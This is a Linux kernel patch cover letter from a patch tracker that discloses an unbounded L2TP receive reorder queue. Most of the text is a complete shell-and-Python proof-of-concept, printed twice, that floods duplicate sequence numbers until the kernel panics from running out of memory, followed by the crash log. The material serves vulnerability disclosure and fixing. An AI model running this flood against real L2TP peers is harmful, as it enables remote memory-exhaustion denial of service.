l2tp: bound the reorder queue
Get series with b4
b4 am [email protected]Versions newest first
- v1 Latest1 patch 1 replyIn review
Patches in v1 No applies recorded yet
| # | Subject and files | Size | Replies | Applied |
|---|---|---|---|---|
| 1/1 | l2tp: bound the reorder queuenet/ net/ | +56 | 1 reply |
Reviews trailers per patch
No Reviewed-by, Acked-by or Tested-by trailers for v1 yet.
Cover letter [PATCH net 0/1] l2tp: bound the reorder queue
From: Ruide Cao <[email protected]>
Hi Linux kernel maintainers,
We found an issue in net/l2tp/l2tp_core.c, net/l2tp/l2tp_core.h.
With reordering enabled, l2tp_recv_data_seq() accepts every packet inside the receive window and l2tp_recv_queue_skb() neither rejects duplicate Ns values nor limits queue length. A peer can omit the currently expected packet and send unlimited copies of a future sequence number; every copy is inserted after a linear queue walk and dequeue remains blocked at the head. Expiration is checked only when another packet invokes l2tp_recv_dequeue():
there is no timer to service expires. If the peer stops sending before expiration, all queued skbs remain indefinitely. This permits remote, non-socket-accounted memory exhaustion and quadratic softirq CPU consumption.
Privilege model: after an L2TP data session with receive reordering is present, a remote peer can trigger the unbounded reorder queue by omitting the expected Ns and sending in-window future sequence numbers. Creating the local tunnel/session via L2TP genetlink requires CAP_NET_ADMIN in the owning network namespace; the reproducer below runs that setup as root in QEMU for convenience. Queued skbs are not charged to a local victim socket.
Compatibility: l2tp receive reorder path only; no uAPI change.
Tested: PoC reproduces OOM with panic_on_oom in QEMU; crash evidence is below. packetdrill is not used because the trigger depends on sustained UDP/L2TP sequence flooding into the reorder queue rather than a fixed packetdrill scripted exchange.
Reproducer:
#!/bin/sh
set -eu
MODE="${1:-oom}"
case "$MODE" in
observe|oom)
;;
*)
echo "usage: $0 [observe|oom]" >&2
exit 1
;;esac
ip link set lo up
if [ "$MODE" = "oom" ] && [ "${PANIC_ON_OOM:-1}" = "1" ]; then
echo 2 > /proc/sys/vm/panic_on_oom
fi
export MODE
python3 - <<'PY'
import errno
import os
import socket
import struct
import sys
import time
NETLINK_GENERIC = 16GENL_ID_CTRL = 16
NLM_F_REQUEST = 0x01NLM_F_ACK = 0x04
NLMSG_NOOP = 1NLMSG_ERROR = 2NLMSG_DONE = 3
CTRL_CMD_GETFAMILY = 3CTRL_ATTR_FAMILY_ID = 1CTRL_ATTR_FAMILY_NAME = 2
L2TP_GENL_NAME = b"l2tp\x00"L2TP_GENL_VERSION = 0x1
L2TP_CMD_TUNNEL_CREATE = 1L2TP_CMD_TUNNEL_DELETE = 2L2TP_CMD_TUNNEL_MODIFY = 3L2TP_CMD_TUNNEL_GET = 4L2TP_CMD_SESSION_CREATE = 5L2TP_CMD_SESSION_DELETE = 6L2TP_CMD_SESSION_MODIFY = 7
L2TP_ATTR_NONE = 0L2TP_ATTR_PW_TYPE = 1L2TP_ATTR_ENCAP_TYPE = 2L2TP_ATTR_OFFSET = 3L2TP_ATTR_DATA_SEQ = 4L2TP_ATTR_L2SPEC_TYPE = 5L2TP_ATTR_L2SPEC_LEN = 6L2TP_ATTR_PROTO_VERSION = 7L2TP_ATTR_IFNAME = 8L2TP_ATTR_CONN_ID = 9L2TP_ATTR_PEER_CONN_ID = 10L2TP_ATTR_SESSION_ID = 11L2TP_ATTR_PEER_SESSION_ID = 12L2TP_ATTR_UDP_CSUM = 13L2TP_ATTR_VLAN_ID = 14L2TP_ATTR_COOKIE = 15L2TP_ATTR_PEER_COOKIE = 16L2TP_ATTR_DEBUG = 17L2TP_ATTR_RECV_SEQ = 18L2TP_ATTR_SEND_SEQ = 19L2TP_ATTR_LNS_MODE = 20L2TP_ATTR_USING_IPSEC = 21L2TP_ATTR_RECV_TIMEOUT = 22L2TP_ATTR_FD = 23L2TP_ATTR_IP_SADDR = 24L2TP_ATTR_IP_DADDR = 25L2TP_ATTR_UDP_SPORT = 26L2TP_ATTR_UDP_DPORT = 27
L2TP_PWTYPE_ETH = 0x0005L2TP_L2SPECTYPE_DEFAULT = 1L2TP_ENCAPTYPE_UDP = 0L2TP_HDR_VER_3 = 3L2TP_SLFLAG_S = 0x40000000
def nlattr(attr_type, payload):
length = 4 + len(payload)
pad = (4 - (length & 3)) & 3
return struct.pack("HH", length, attr_type) + payload + (b"\x00" * pad)def parse_attrs(data):
attrs = {}
off = 0
while off + 4 <= len(data):
nla_len, nla_type = struct.unpack_from("HH", data, off)
if nla_len < 4 or off + nla_len > len(data):
break
attrs[nla_type] = data[off + 4: off + nla_len]
off += (nla_len + 3) & ~3
return attrsclass GenlSocket:
def __init__(self):
self.sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, NETLINK_GENERIC)
self.sock.bind((0, 0))
self.seq = 0
def transact(self, nlmsg_type, cmd, attrs):
self.seq += 1
payload = struct.pack("BBH", cmd, L2TP_GENL_VERSION, 0) + b"".join(attrs)
hdr = struct.pack(
"IHHII",
16 + len(payload),
nlmsg_type,
NLM_F_REQUEST | NLM_F_ACK,
self.seq,
0,
)
self.sock.send(hdr + payload)
while True:
data = self.sock.recv(65535)
off = 0
while off + 16 <= len(data):
nl_len, nl_type, nl_flags, nl_seq, nl_pid = struct.unpack_from(
"IHHII", data, off
)
if nl_len < 16 or off + nl_len > len(data):
raise RuntimeError("malformed netlink response")
msg = data[off + 16: off + nl_len]
off += (nl_len + 3) & ~3
if nl_seq != self.seq:
continue
if nl_type == NLMSG_ERROR:
err = struct.unpack_from("i", msg, 0)[0]
if err:
raise OSError(-err, os.strerror(-err))
return b""
if nl_type in (NLMSG_DONE, NLMSG_NOOP):
return b""
if nl_type == nlmsg_type or nl_type == GENL_ID_CTRL:
return msg
def resolve_family(self, name):
attrs = [nlattr(CTRL_ATTR_FAMILY_NAME, name)]
resp = self.transact(GENL_ID_CTRL, CTRL_CMD_GETFAMILY, attrs)
attrs = parse_attrs(resp[4:])
if CTRL_ATTR_FAMILY_ID not in attrs:
raise RuntimeError("family id not found")
return struct.unpack("H", attrs[CTRL_ATTR_FAMILY_ID][:2])[0]def u8_attr(attr_type, value):
return nlattr(attr_type, struct.pack("B", value))
def u16_attr(attr_type, value):
return nlattr(attr_type, struct.pack("H", value))
def u32_attr(attr_type, value):
return nlattr(attr_type, struct.pack("I", value))
def u64_attr(attr_type, value):
return nlattr(attr_type, struct.pack("Q", value))
def str_attr(attr_type, value):
return nlattr(attr_type, value.encode() + b"\x00")
def in4_attr(attr_type, addr):
return nlattr(attr_type, socket.inet_aton(addr))
def mem_available_kb():
with open("/proc/meminfo", "r", encoding="ascii") as f:
for line in f:
if line.startswith("MemAvailable:"):
return int(line.split()[1])
return -1def build_packet(session_id, ns, frame_len):
if frame_len < 14:
raise ValueError("frame_len must be at least 14 bytes")
if frame_len > 65495:
raise ValueError("frame_len too large for UDP payload")
hdr = struct.pack("!HHI", L2TP_HDR_VER_3, 0, session_id)
l2spec = struct.pack("!I", L2TP_SLFLAG_S | (ns & 0x00FFFFFF))
eth = bytearray(frame_len)
eth[0:6] = b"\x02\x00\x00\x00\x00\x01"
eth[6:12] = b"\x02\x00\x00\x00\x00\x02"
eth[12:14] = b"\x08\x00"
for i in range(14, frame_len):
eth[i] = (i - 14) & 0xFF
return hdr + l2spec + ethdef send_flood(sock, packet, report_every, max_packets):
sent = 0
last = time.monotonic()
while True:
sock.send(packet)
sent += 1
if report_every and sent % report_every == 0:
now = time.monotonic()
mem = mem_available_kb()
rate = report_every / max(now - last, 1e-6)
print(
f"[+] sent={sent} mem_available_kb={mem} rate_pps={rate:.1f}", flush=True,
)
last = now
if max_packets and sent >= max_packets:
return sent
def main():
mode = os.environ.get("MODE", "oom")
pid = os.getpid() & 0xFFFF
tunnel_id = int(os.environ.get("TUNNEL_ID", str(1000 + pid)))
peer_tunnel_id = int(os.environ.get("PEER_TUNNEL_ID", str(2000 + pid)))
session_id = int(os.environ.get("SESSION_ID", str(3000 + pid)))
peer_session_id = int(os.environ.get("PEER_SESSION_ID", str(4000 + pid)))
local_port = int(os.environ.get("LOCAL_PORT", str(10000 + (pid % 20000))))
peer_port = int(os.environ.get("PEER_PORT", str(local_port + 1)))
ifname = os.environ.get("IFNAME", f"l2p{pid}")
payload_len = int(os.environ.get("PAYLOAD_LEN", "60000"))
if mode == "observe":
timeout_ms = int(os.environ.get("REORDER_TIMEOUT_MS", "1000"))
observe_count = int(os.environ.get("OBSERVE_COUNT", "2000"))
report_every = int(os.environ.get("REPORT_EVERY", "500"))
max_packets = observe_count
else:
timeout_ms = int(os.environ.get("REORDER_TIMEOUT_MS", "300000"))
report_every = int(os.environ.get("REPORT_EVERY", "250"))
max_packets = int(os.environ.get("MAX_PACKETS", "0"))
nl = GenlSocket()
family_id = nl.resolve_family(L2TP_GENL_NAME)
session_delete = [
u32_attr(L2TP_ATTR_CONN_ID, tunnel_id),
u32_attr(L2TP_ATTR_SESSION_ID, session_id),
]
tunnel_delete = [u32_attr(L2TP_ATTR_CONN_ID, tunnel_id)]
for cmd, attrs in (
(L2TP_CMD_SESSION_DELETE, session_delete),
(L2TP_CMD_TUNNEL_DELETE, tunnel_delete),
):
try:
nl.transact(family_id, cmd, attrs)
except OSError as e:
if e.errno not in (errno.ENODEV, errno.ENOENT):
raise
tunnel_create = [
u32_attr(L2TP_ATTR_CONN_ID, tunnel_id),
u32_attr(L2TP_ATTR_PEER_CONN_ID, peer_tunnel_id),
u8_attr(L2TP_ATTR_PROTO_VERSION, 3),
u16_attr(L2TP_ATTR_ENCAP_TYPE, L2TP_ENCAPTYPE_UDP),
in4_attr(L2TP_ATTR_IP_SADDR, "127.0.0.1"),
in4_attr(L2TP_ATTR_IP_DADDR, "127.0.0.1"),
u16_attr(L2TP_ATTR_UDP_SPORT, local_port),
u16_attr(L2TP_ATTR_UDP_DPORT, peer_port),
]
nl.transact(family_id, L2TP_CMD_TUNNEL_CREATE, tunnel_create)
session_create = [
u32_attr(L2TP_ATTR_CONN_ID, tunnel_id),
u32_attr(L2TP_ATTR_SESSION_ID, session_id),
u32_attr(L2TP_ATTR_PEER_SESSION_ID, peer_session_id),
u16_attr(L2TP_ATTR_PW_TYPE, L2TP_PWTYPE_ETH),
str_attr(L2TP_ATTR_IFNAME, ifname),
u8_attr(L2TP_ATTR_L2SPEC_TYPE, L2TP_L2SPECTYPE_DEFAULT),
u8_attr(L2TP_ATTR_RECV_SEQ, 1),
u64_attr(L2TP_ATTR_RECV_TIMEOUT, timeout_ms),
]
nl.transact(family_id, L2TP_CMD_SESSION_CREATE, session_create)
print(
f"[+] tunnel_id={tunnel_id} session_id={session_id} ifname={ifname} "
f"local_port={local_port} peer_port={peer_port} timeout_ms={timeout_ms}",
flush=True,
)
sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sender.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sender.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 8 << 20)
sender.bind(("127.0.0.1", peer_port))
sender.connect(("127.0.0.1", local_port))
sender.send(build_packet(session_id, 0, 64))
time.sleep(0.05)
dup_packet = build_packet(session_id, 2, payload_len)
before = mem_available_kb()
print(f"[+] mem_available_kb_before={before}", flush=True)
sent = send_flood(sender, dup_packet, report_every, max_packets)
after_flood = mem_available_kb()
print(f"[+] mem_available_kb_after_flood={after_flood}", flush=True)
if mode == "observe":
wait_s = max(timeout_ms / 1000.0 + 1.0, 2.0)
print(f"[+] waiting_without_packets={wait_s:.1f}s", flush=True)
time.sleep(wait_s)
after_idle = mem_available_kb()
print(f"[+] mem_available_kb_after_idle={after_idle}", flush=True)
sender.send(dup_packet)
time.sleep(0.5)
after_poke = mem_available_kb()
print(f"[+] mem_available_kb_after_poke={after_poke}", flush=True)
print(f"[+] observe_done sent={sent}", flush=True)
else:
print(f"[+] oom_mode_completed_without_panic sent={sent}", flush=True)if __name__ == "__main__":
main()
PY
------BEGIN PoC------
#!/bin/sh
set -eu
MODE="${1:-oom}"
case "$MODE" in
observe|oom)
;;
*)
echo "usage: $0 [observe|oom]" >&2
exit 1
;;esac
ip link set lo up
if [ "$MODE" = "oom" ] && [ "${PANIC_ON_OOM:-1}" = "1" ]; then
echo 2 > /proc/sys/vm/panic_on_oom
fi
export MODE
python3 - <<'PY'
import errno
import os
import socket
import struct
import sys
import time
NETLINK_GENERIC = 16GENL_ID_CTRL = 16
NLM_F_REQUEST = 0x01NLM_F_ACK = 0x04
NLMSG_NOOP = 1NLMSG_ERROR = 2NLMSG_DONE = 3
CTRL_CMD_GETFAMILY = 3CTRL_ATTR_FAMILY_ID = 1CTRL_ATTR_FAMILY_NAME = 2
L2TP_GENL_NAME = b"l2tp\x00"L2TP_GENL_VERSION = 0x1
L2TP_CMD_TUNNEL_CREATE = 1L2TP_CMD_TUNNEL_DELETE = 2L2TP_CMD_TUNNEL_MODIFY = 3L2TP_CMD_TUNNEL_GET = 4L2TP_CMD_SESSION_CREATE = 5L2TP_CMD_SESSION_DELETE = 6L2TP_CMD_SESSION_MODIFY = 7
L2TP_ATTR_NONE = 0L2TP_ATTR_PW_TYPE = 1L2TP_ATTR_ENCAP_TYPE = 2L2TP_ATTR_OFFSET = 3L2TP_ATTR_DATA_SEQ = 4L2TP_ATTR_L2SPEC_TYPE = 5L2TP_ATTR_L2SPEC_LEN = 6L2TP_ATTR_PROTO_VERSION = 7L2TP_ATTR_IFNAME = 8L2TP_ATTR_CONN_ID = 9L2TP_ATTR_PEER_CONN_ID = 10L2TP_ATTR_SESSION_ID = 11L2TP_ATTR_PEER_SESSION_ID = 12L2TP_ATTR_UDP_CSUM = 13L2TP_ATTR_VLAN_ID = 14L2TP_ATTR_COOKIE = 15L2TP_ATTR_PEER_COOKIE = 16L2TP_ATTR_DEBUG = 17L2TP_ATTR_RECV_SEQ = 18L2TP_ATTR_SEND_SEQ = 19L2TP_ATTR_LNS_MODE = 20L2TP_ATTR_USING_IPSEC = 21L2TP_ATTR_RECV_TIMEOUT = 22L2TP_ATTR_FD = 23L2TP_ATTR_IP_SADDR = 24L2TP_ATTR_IP_DADDR = 25L2TP_ATTR_UDP_SPORT = 26L2TP_ATTR_UDP_DPORT = 27
L2TP_PWTYPE_ETH = 0x0005L2TP_L2SPECTYPE_DEFAULT = 1L2TP_ENCAPTYPE_UDP = 0L2TP_HDR_VER_3 = 3L2TP_SLFLAG_S = 0x40000000
def nlattr(attr_type, payload):
length = 4 + len(payload)
pad = (4 - (length & 3)) & 3
return struct.pack("HH", length, attr_type) + payload + (b"\x00" * pad)def parse_attrs(data):
attrs = {}
off = 0
while off + 4 <= len(data):
nla_len, nla_type = struct.unpack_from("HH", data, off)
if nla_len < 4 or off + nla_len > len(data):
break
attrs[nla_type] = data[off + 4: off + nla_len]
off += (nla_len + 3) & ~3
return attrsclass GenlSocket:
def __init__(self):
self.sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, NETLINK_GENERIC)
self.sock.bind((0, 0))
self.seq = 0
def transact(self, nlmsg_type, cmd, attrs):
self.seq += 1
payload = struct.pack("BBH", cmd, L2TP_GENL_VERSION, 0) + b"".join(attrs)
hdr = struct.pack(
"IHHII",
16 + len(payload),
nlmsg_type,
NLM_F_REQUEST | NLM_F_ACK,
self.seq,
0,
)
self.sock.send(hdr + payload)
while True:
data = self.sock.recv(65535)
off = 0
while off + 16 <= len(data):
nl_len, nl_type, nl_flags, nl_seq, nl_pid = struct.unpack_from(
"IHHII", data, off
)
if nl_len < 16 or off + nl_len > len(data):
raise RuntimeError("malformed netlink response")
msg = data[off + 16: off + nl_len]
off += (nl_len + 3) & ~3
if nl_seq != self.seq:
continue
if nl_type == NLMSG_ERROR:
err = struct.unpack_from("i", msg, 0)[0]
if err:
raise OSError(-err, os.strerror(-err))
return b""
if nl_type in (NLMSG_DONE, NLMSG_NOOP):
return b""
if nl_type == nlmsg_type or nl_type == GENL_ID_CTRL:
return msg
def resolve_family(self, name):
attrs = [nlattr(CTRL_ATTR_FAMILY_NAME, name)]
resp = self.transact(GENL_ID_CTRL, CTRL_CMD_GETFAMILY, attrs)
attrs = parse_attrs(resp[4:])
if CTRL_ATTR_FAMILY_ID not in attrs:
raise RuntimeError("family id not found")
return struct.unpack("H", attrs[CTRL_ATTR_FAMILY_ID][:2])[0]def u8_attr(attr_type, value):
return nlattr(attr_type, struct.pack("B", value))
def u16_attr(attr_type, value):
return nlattr(attr_type, struct.pack("H", value))
def u32_attr(attr_type, value):
return nlattr(attr_type, struct.pack("I", value))
def u64_attr(attr_type, value):
return nlattr(attr_type, struct.pack("Q", value))
def str_attr(attr_type, value):
return nlattr(attr_type, value.encode() + b"\x00")
def in4_attr(attr_type, addr):
return nlattr(attr_type, socket.inet_aton(addr))
def mem_available_kb():
with open("/proc/meminfo", "r", encoding="ascii") as f:
for line in f:
if line.startswith("MemAvailable:"):
return int(line.split()[1])
return -1def build_packet(session_id, ns, frame_len):
if frame_len < 14:
raise ValueError("frame_len must be at least 14 bytes")
if frame_len > 65495:
raise ValueError("frame_len too large for UDP payload")
hdr = struct.pack("!HHI", L2TP_HDR_VER_3, 0, session_id)
l2spec = struct.pack("!I", L2TP_SLFLAG_S | (ns & 0x00FFFFFF))
eth = bytearray(frame_len)
eth[0:6] = b"\x02\x00\x00\x00\x00\x01"
eth[6:12] = b"\x02\x00\x00\x00\x00\x02"
eth[12:14] = b"\x08\x00"
for i in range(14, frame_len):
eth[i] = (i - 14) & 0xFF
return hdr + l2spec + ethdef send_flood(sock, packet, report_every, max_packets):
sent = 0
last = time.monotonic()
while True:
sock.send(packet)
sent += 1
if report_every and sent % report_every == 0:
now = time.monotonic()
mem = mem_available_kb()
rate = report_every / max(now - last, 1e-6)
print(
f"[+] sent={sent} mem_available_kb={mem} rate_pps={rate:.1f}", flush=True,
)
last = now
if max_packets and sent >= max_packets:
return sent
def main():
mode = os.environ.get("MODE", "oom")
pid = os.getpid() & 0xFFFF
tunnel_id = int(os.environ.get("TUNNEL_ID", str(1000 + pid)))
peer_tunnel_id = int(os.environ.get("PEER_TUNNEL_ID", str(2000 + pid)))
session_id = int(os.environ.get("SESSION_ID", str(3000 + pid)))
peer_session_id = int(os.environ.get("PEER_SESSION_ID", str(4000 + pid)))
local_port = int(os.environ.get("LOCAL_PORT", str(10000 + (pid % 20000))))
peer_port = int(os.environ.get("PEER_PORT", str(local_port + 1)))
ifname = os.environ.get("IFNAME", f"l2p{pid}")
payload_len = int(os.environ.get("PAYLOAD_LEN", "60000"))
if mode == "observe":
timeout_ms = int(os.environ.get("REORDER_TIMEOUT_MS", "1000"))
observe_count = int(os.environ.get("OBSERVE_COUNT", "2000"))
report_every = int(os.environ.get("REPORT_EVERY", "500"))
max_packets = observe_count
else:
timeout_ms = int(os.environ.get("REORDER_TIMEOUT_MS", "300000"))
report_every = int(os.environ.get("REPORT_EVERY", "250"))
max_packets = int(os.environ.get("MAX_PACKETS", "0"))
nl = GenlSocket()
family_id = nl.resolve_family(L2TP_GENL_NAME)
session_delete = [
u32_attr(L2TP_ATTR_CONN_ID, tunnel_id),
u32_attr(L2TP_ATTR_SESSION_ID, session_id),
]
tunnel_delete = [u32_attr(L2TP_ATTR_CONN_ID, tunnel_id)]
for cmd, attrs in (
(L2TP_CMD_SESSION_DELETE, session_delete),
(L2TP_CMD_TUNNEL_DELETE, tunnel_delete),
):
try:
nl.transact(family_id, cmd, attrs)
except OSError as e:
if e.errno not in (errno.ENODEV, errno.ENOENT):
raise
tunnel_create = [
u32_attr(L2TP_ATTR_CONN_ID, tunnel_id),
u32_attr(L2TP_ATTR_PEER_CONN_ID, peer_tunnel_id),
u8_attr(L2TP_ATTR_PROTO_VERSION, 3),
u16_attr(L2TP_ATTR_ENCAP_TYPE, L2TP_ENCAPTYPE_UDP),
in4_attr(L2TP_ATTR_IP_SADDR, "127.0.0.1"),
in4_attr(L2TP_ATTR_IP_DADDR, "127.0.0.1"),
u16_attr(L2TP_ATTR_UDP_SPORT, local_port),
u16_attr(L2TP_ATTR_UDP_DPORT, peer_port),
]
nl.transact(family_id, L2TP_CMD_TUNNEL_CREATE, tunnel_create)
session_create = [
u32_attr(L2TP_ATTR_CONN_ID, tunnel_id),
u32_attr(L2TP_ATTR_SESSION_ID, session_id),
u32_attr(L2TP_ATTR_PEER_SESSION_ID, peer_session_id),
u16_attr(L2TP_ATTR_PW_TYPE, L2TP_PWTYPE_ETH),
str_attr(L2TP_ATTR_IFNAME, ifname),
u8_attr(L2TP_ATTR_L2SPEC_TYPE, L2TP_L2SPECTYPE_DEFAULT),
u8_attr(L2TP_ATTR_RECV_SEQ, 1),
u64_attr(L2TP_ATTR_RECV_TIMEOUT, timeout_ms),
]
nl.transact(family_id, L2TP_CMD_SESSION_CREATE, session_create)
print(
f"[+] tunnel_id={tunnel_id} session_id={session_id} ifname={ifname} "
f"local_port={local_port} peer_port={peer_port} timeout_ms={timeout_ms}",
flush=True,
)
sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sender.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sender.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 8 << 20)
sender.bind(("127.0.0.1", peer_port))
sender.connect(("127.0.0.1", local_port))
sender.send(build_packet(session_id, 0, 64))
time.sleep(0.05)
dup_packet = build_packet(session_id, 2, payload_len)
before = mem_available_kb()
print(f"[+] mem_available_kb_before={before}", flush=True)
sent = send_flood(sender, dup_packet, report_every, max_packets)
after_flood = mem_available_kb()
print(f"[+] mem_available_kb_after_flood={after_flood}", flush=True)
if mode == "observe":
wait_s = max(timeout_ms / 1000.0 + 1.0, 2.0)
print(f"[+] waiting_without_packets={wait_s:.1f}s", flush=True)
time.sleep(wait_s)
after_idle = mem_available_kb()
print(f"[+] mem_available_kb_after_idle={after_idle}", flush=True)
sender.send(dup_packet)
time.sleep(0.5)
after_poke = mem_available_kb()
print(f"[+] mem_available_kb_after_poke={after_poke}", flush=True)
print(f"[+] observe_done sent={sent}", flush=True)
else:
print(f"[+] oom_mode_completed_without_panic sent={sent}", flush=True)if __name__ == "__main__":
main()
PY
------END PoC--------
----BEGIN crash log----
[ 317.147298][T10616] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled [ 317.148195][T10616] CPU: 3 UID: 0 PID: 10616 Comm: python3 Not tainted 6.12.95 #2 [ 317.148753][T10616] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 317.149890][T10616] Call Trace: [ 317.150119][T10616] <TASK> [ 317.150313][T10616] panic+0x533/0x610 [ 317.150599][T10616] ? __pfx_panic+0x10/0x10 [ 317.150911][T10616] ? srso_alias_return_thunk+0x5/0xfbef5 [ 317.151282][T10616] ? lockdep_hardirqs_on+0x7b/0x110 [ 317.151626][T10616] ? _raw_spin_unlock_irqrestore+0x40/0x80 [ 317.152045][T10616] ? srso_alias_return_thunk+0x5/0xfbef5 [ 317.152410][T10616] ? rcu_is_watching+0x12/0xc0 [ 317.152737][T10616] out_of_memory+0x73c/0x1430 [ 317.153070][T10616] ? __alloc_pages_noprof+0xd53/0x26d0 [ 317.153444][T10616] ? __pfx_out_of_memory+0x10/0x10 [ 317.153788][T10616] ? lock_acquire+0x2f/0xb0 [ 317.154097][T10616] ? __alloc_pages_noprof+0xd53/0x26d0 [ 317.154472][T10616] __alloc_pages_noprof+0x1ecc/0x26d0 [ 317.154839][T10616] ? srso_alias_return_thunk+0x5/0xfbef5 [ 317.155263][T10616] ? find_held_lock+0x2d/0x110 [ 317.155579][T10616] ? __pfx___alloc_pages_noprof+0x10/0x10 [ 317.155940][T10616] ? srso_alias_return_thunk+0x5/0xfbef5 [ 317.156325][T10616] ? __pfx_lock_release+0x10/0x10 [ 317.156670][T10616] ? __might_fault+0xb6/0x120 [ 317.157041][T10616] alloc_pages_mpol_noprof+0x1ab/0x4d0 [ 317.157420][T10616] ? __pfx_alloc_pages_mpol_noprof+0x10/0x10 [ 317.157801][T10616] ? srso_alias_return_thunk+0x5/0xfbef5 [ 317.158185][T10616] ? __virt_addr_valid+0x1f3/0x3d0 [ 317.158520][T10616] ? __check_object_size+0x2eb/0x4f0 [ 317.158876][T10616] skb_page_frag_refill+0x1d0/0x300 [ 317.160172][T10616] ? srso_alias_return_thunk+0x5/0xfbef5 [ 317.160548][T10616] sk_page_frag_refill+0x52/0x2c0 [ 317.160913][T10616] __ip_append_data+0x94a/0x4150 [ 317.161268][T10616] ? __pfx_ip_generic_getfrag+0x10/0x10 [ 317.161688][T10616] ? srso_alias_return_thunk+0x5/0xfbef5 [ 317.162079][T10616] ? ip_dst_mtu_maybe_forward.constprop.0+0x29b/0x590 [ 317.162585][T10616] ? __pfx___ip_append_data+0x10/0x10 [ 317.162934][T10616] ? __pfx___lock_acquire+0x10/0x10 [ 317.163300][T10616] ip_make_skb+0x211/0x2d0 [ 317.163597][T10616] ? find_held_lock+0x2d/0x110 [ 317.163922][T10616] ? __pfx_ip_generic_getfrag+0x10/0x10 [ 317.164302][T10616] ? __pfx_ip_make_skb+0x10/0x10 [ 317.164617][T10616] ? ipv4_dst_check+0x164/0x2b0 [ 317.164959][T10616] ? srso_alias_return_thunk+0x5/0xfbef5 [ 317.165371][T10616] ? srso_alias_return_thunk+0x5/0xfbef5 [ 317.165744][T10616] ? udp_sendmsg+0x155b/0x2370 [ 317.166078][T10616] udp_sendmsg+0x155b/0x2370 [ 317.166391][T10616] ? __pfx_aa_label_sk_perm+0x10/0x10 [ 317.166746][T10616] ? __pfx_ip_generic_getfrag+0x10/0x10 [ 317.167147][T10616] ? __pfx_udp_sendmsg+0x10/0x10 [ 317.167477][T10616] ? hlock_class+0x4e/0x130 [ 317.167770][T10616] ? srso_alias_return_thunk+0x5/0xfbef5 [ 317.168202][T10616] ? __sys_sendto+0x32e/0x3a0 [ 317.168499][T10616] __sys_sendto+0x32e/0x3a0 [ 317.168797][T10616] ? __pfx___sys_sendto+0x10/0x10 [ 317.169198][T10616] ? __pfx_lock_release+0x10/0x10 [ 317.169571][T10616] ? srso_alias_return_thunk+0x5/0xfbef5 [ 317.169945][T10616] ? rcu_is_watching+0x12/0xc0 [ 317.170764][T10616] __x64_sys_sendto+0xe0/0x1c0 [ 317.171083][T10616] ? do_syscall_64+0x93/0x270 [ 317.171389][T10616] ? srso_alias_return_thunk+0x5/0xfbef5 [ 317.171803][T10616] ? lockdep_hardirqs_on+0x7b/0x110 [ 317.172154][T10616] do_syscall_64+0xc7/0x270 [ 317.172516][T10616] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 317.173593][T10616] RIP: 0033:0x7f5fabf45687 [ 317.173886][T10616] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff [ 317.175212][T10616] RSP: 002b:00007ffe2aaccb60 EFLAGS: 00000202 ORIG_RAX: 000000000000002c [ 317.175763][T10616] RAX: ffffffffffffffda RBX: 00007f5fabeb1780 RCX: 00007f5fabf45687 [ 317.176303][T10616] RDX: 000000000000ea6c RSI: 0000000034d07590 RDI: 0000000000000004 [ 317.176857][T10616] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 [ 317.177380][T10616] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000 [ 317.177895][T10616] R13: 0000000000000000 R14: 00000000006ff020 R15: 0000000000a83590 [ 317.178445][T10616] </TASK> [ 317.178849][T10616] Kernel Offset: disabled [ 317.179211][T10616] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Ruide Cao
Ruide Cao (1):
l2tp: bound the reorder queue
net/l2tp/l2tp_core.c | 57 +++++++++++++++++++++++++++++++++++++++++--- net/l2tp/l2tp_core.h | 2 ++ 2 files changed, 56 insertions(+), 3 deletions(-)
base-commit: 24ef02f934eeb48830cff6b739abc3c62b1d107b
Signature · 1 line
2.47.3